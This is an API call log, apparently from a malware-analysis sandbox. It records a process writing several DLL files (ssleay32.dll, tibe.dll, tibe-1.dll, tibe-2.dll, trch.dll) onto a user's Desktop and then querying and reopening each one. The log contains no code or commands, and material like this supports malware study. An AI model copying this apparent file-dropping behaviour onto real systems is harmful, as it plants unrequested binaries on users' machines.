[0128.680] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar-2.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar-2.dll", lpFilePart=0x0) returned 0x30
[0128.680] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar-2.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar-2.dll", lpFilePart=0x0) returned 0x30
[0128.680] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar-2.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar-2.dll", lpFilePart=0x0) returned 0x30
[0128.681] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar-2.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar-2.dll", lpFilePart=0x0) returned 0x30
[0128.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0128.681] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar-2.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\riar-2.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2910c060, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2910c060, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x291321c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1
[0128.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0128.681] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar-2.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar-2.dll", lpFilePart=0x0) returned 0x30
[0128.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0128.681] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar-2.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\riar-2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x428
[0128.681] GetFileType (hFile=0x428) returned 0x1
[0128.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0128.681] GetFileType (hFile=0x428) returned 0x1
[0128.681] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0128.812] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ssleay32.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ssleay32.dll", lpFilePart=0x0) returned 0x32
[0128.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0128.812] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ssleay32.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ssleay32.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c
[0128.813] GetFileType (hFile=0x42c) returned 0x1
[0128.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0128.813] GetFileType (hFile=0x42c) returned 0x1
[0128.813] WriteFile (in: hFile=0x42c, lpBuffer=0x128a2f30*, nNumberOfBytesToWrite=0x2d000, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x128a2f30*, lpNumberOfBytesWritten=0x2ea818*=0x2d000, lpOverlapped=0x0) returned 1
[0128.819] CloseHandle (hObject=0x42c) returned 1
[0128.824] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ssleay32.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ssleay32.dll", lpFilePart=0x0) returned 0x32
[0128.824] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ssleay32.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ssleay32.dll", lpFilePart=0x0) returned 0x32
[0128.824] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ssleay32.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ssleay32.dll", lpFilePart=0x0) returned 0x32
[0128.824] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ssleay32.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ssleay32.dll", lpFilePart=0x0) returned 0x32
[0128.824] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ssleay32.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ssleay32.dll", lpFilePart=0x0) returned 0x32
[0128.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0128.825] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ssleay32.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ssleay32.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29262cc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29262cc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29288e20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d000)) returned 1
[0128.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0128.825] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ssleay32.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ssleay32.dll", lpFilePart=0x0) returned 0x32
[0128.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0128.825] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ssleay32.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ssleay32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c
[0128.825] GetFileType (hFile=0x42c) returned 0x1
[0128.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0128.826] GetFileType (hFile=0x42c) returned 0x1
[0128.826] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0128.876] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe.dll", lpFilePart=0x0) returned 0x2e
[0128.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0128.876] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tibe.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x430
[0128.888] GetFileType (hFile=0x430) returned 0x1
[0128.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0128.888] GetFileType (hFile=0x430) returned 0x1
[0128.888] WriteFile (in: hFile=0x430, lpBuffer=0x128cff68*, nNumberOfBytesToWrite=0x42000, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x128cff68*, lpNumberOfBytesWritten=0x2ea818*=0x42000, lpOverlapped=0x0) returned 1
[0128.897] CloseHandle (hObject=0x430) returned 1
[0128.902] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe.dll", lpFilePart=0x0) returned 0x2e
[0128.902] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe.dll", lpFilePart=0x0) returned 0x2e
[0128.902] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe.dll", lpFilePart=0x0) returned 0x2e
[0128.902] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe.dll", lpFilePart=0x0) returned 0x2e
[0128.902] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe.dll", lpFilePart=0x0) returned 0x2e
[0128.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0128.903] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tibe.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x293213a0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x293213a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29347500, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x42000)) returned 1
[0128.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0128.903] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe.dll", lpFilePart=0x0) returned 0x2e
[0128.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0128.903] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tibe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x430
[0128.904] GetFileType (hFile=0x430) returned 0x1
[0128.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0128.904] GetFileType (hFile=0x430) returned 0x1
[0128.904] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0128.924] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-1.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-1.dll", lpFilePart=0x0) returned 0x30
[0128.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0128.925] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-1.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tibe-1.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x434
[0128.925] GetFileType (hFile=0x434) returned 0x1
[0128.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0128.925] GetFileType (hFile=0x434) returned 0x1
[0128.926] WriteFile (in: hFile=0x434, lpBuffer=0x12911fa0*, nNumberOfBytesToWrite=0x39000, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x12911fa0*, lpNumberOfBytesWritten=0x2ea818*=0x39000, lpOverlapped=0x0) returned 1
[0128.933] CloseHandle (hObject=0x434) returned 1
[0128.939] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-1.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-1.dll", lpFilePart=0x0) returned 0x30
[0128.939] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-1.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-1.dll", lpFilePart=0x0) returned 0x30
[0128.939] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-1.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-1.dll", lpFilePart=0x0) returned 0x30
[0128.939] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-1.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-1.dll", lpFilePart=0x0) returned 0x30
[0128.939] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-1.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-1.dll", lpFilePart=0x0) returned 0x30
[0128.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0128.939] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-1.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tibe-1.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2936d660, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2936d660, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x293937c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x39000)) returned 1
[0128.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0128.940] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-1.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-1.dll", lpFilePart=0x0) returned 0x30
[0128.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0128.940] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-1.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tibe-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x434
[0128.940] GetFileType (hFile=0x434) returned 0x1
[0128.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0128.940] GetFileType (hFile=0x434) returned 0x1
[0128.940] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0128.949] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-2.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-2.dll", lpFilePart=0x0) returned 0x30
[0128.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0128.949] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-2.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tibe-2.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x438
[0128.950] GetFileType (hFile=0x438) returned 0x1
[0128.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0128.950] GetFileType (hFile=0x438) returned 0x1
[0128.950] WriteFile (in: hFile=0x438, lpBuffer=0x1294afd8*, nNumberOfBytesToWrite=0x3a000, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x1294afd8*, lpNumberOfBytesWritten=0x2ea818*=0x3a000, lpOverlapped=0x0) returned 1
[0128.955] CloseHandle (hObject=0x438) returned 1
[0128.968] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-2.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-2.dll", lpFilePart=0x0) returned 0x30
[0128.969] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-2.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-2.dll", lpFilePart=0x0) returned 0x30
[0128.969] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-2.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-2.dll", lpFilePart=0x0) returned 0x30
[0128.969] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-2.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-2.dll", lpFilePart=0x0) returned 0x30
[0128.969] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-2.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-2.dll", lpFilePart=0x0) returned 0x30
[0128.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0128.969] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-2.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tibe-2.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x293b9920, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x293b9920, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x293dfa80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3a000)) returned 1
[0128.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0128.969] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-2.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-2.dll", lpFilePart=0x0) returned 0x30
[0128.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0128.970] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-2.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tibe-2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x438
[0128.970] GetFileType (hFile=0x438) returned 0x1
[0128.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0128.970] GetFileType (hFile=0x438) returned 0x1
[0128.970] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0128.990] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch.dll", lpFilePart=0x0) returned 0x2e
[0128.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0128.991] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trch.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x43c
[0128.991] GetFileType (hFile=0x43c) returned 0x1
[0128.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0128.992] GetFileType (hFile=0x43c) returned 0x1
[0128.992] WriteFile (in: hFile=0x43c, lpBuffer=0x2625628*, nNumberOfBytesToWrite=0xc200, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x2625628*, lpNumberOfBytesWritten=0x2ea818*=0xc200, lpOverlapped=0x0) returned 1
[0128.994] CloseHandle (hObject=0x43c) returned 1
[0128.996] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch.dll", lpFilePart=0x0) returned 0x2e
[0128.996] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch.dll", lpFilePart=0x0) returned 0x2e
[0128.996] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch.dll", lpFilePart=0x0) returned 0x2e
[0128.997] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch.dll", lpFilePart=0x0) returned 0x2e
[0128.997] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch.dll", lpFilePart=0x0) returned 0x2e
[0128.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0128.997] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trch.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2942bd40, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2942bd40, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2942bd40, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xc200)) returned 1
[0128.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0128.997] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch.dll", lpFilePart=0x0) returned 0x2e
[0128.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
